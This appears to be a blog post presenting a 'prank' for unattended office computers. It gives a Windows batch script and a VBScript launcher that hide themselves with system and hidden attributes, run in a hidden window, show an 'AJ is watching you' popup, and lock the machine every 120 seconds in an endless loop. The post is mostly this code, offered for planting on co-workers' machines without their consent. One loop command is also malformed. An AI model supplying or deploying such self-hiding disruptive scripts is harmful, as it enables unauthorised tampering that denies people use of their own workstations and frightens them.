Fun with Unattended Workstations

You would find unattended workstations in your office and this post is going to help you out in panicking your co-workers by creating a simple BAT and VBS script to produce pop-ups and locking their machine. You can find the BAT code below:

@Echo Off
attrib +s +h AJ.bat
attrib +s +h ADJ.vbs
:aj
msg * /w "AJ is watching you !"
rundll32 user32.dll, LockWorkStation
timeout 120
go to aj

open notepad copy and paste it and save it with extension as .bat file. we are also changing the file attributes of BAT and VBS file and hiding it.  The rundll32.exe will call user32.dll and would eventually lock the system.We are not done yet, we will run this bat script in hidden window. VB script would help us out in this

dim aj
set aj = CreateObject("WScript.shell")
aj.run "D:\AJ.bat" , 0

copy paste the code in notepad and save it as .vbs extension and also make sure you have the bat script is in the D:\ drive else change it to your preferred location. Now the user will get the message for every 120 seconds and machine would get locked every time the message box is closed.

Hope this post was interesting, keep watching this blog for more interesting posts…..

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s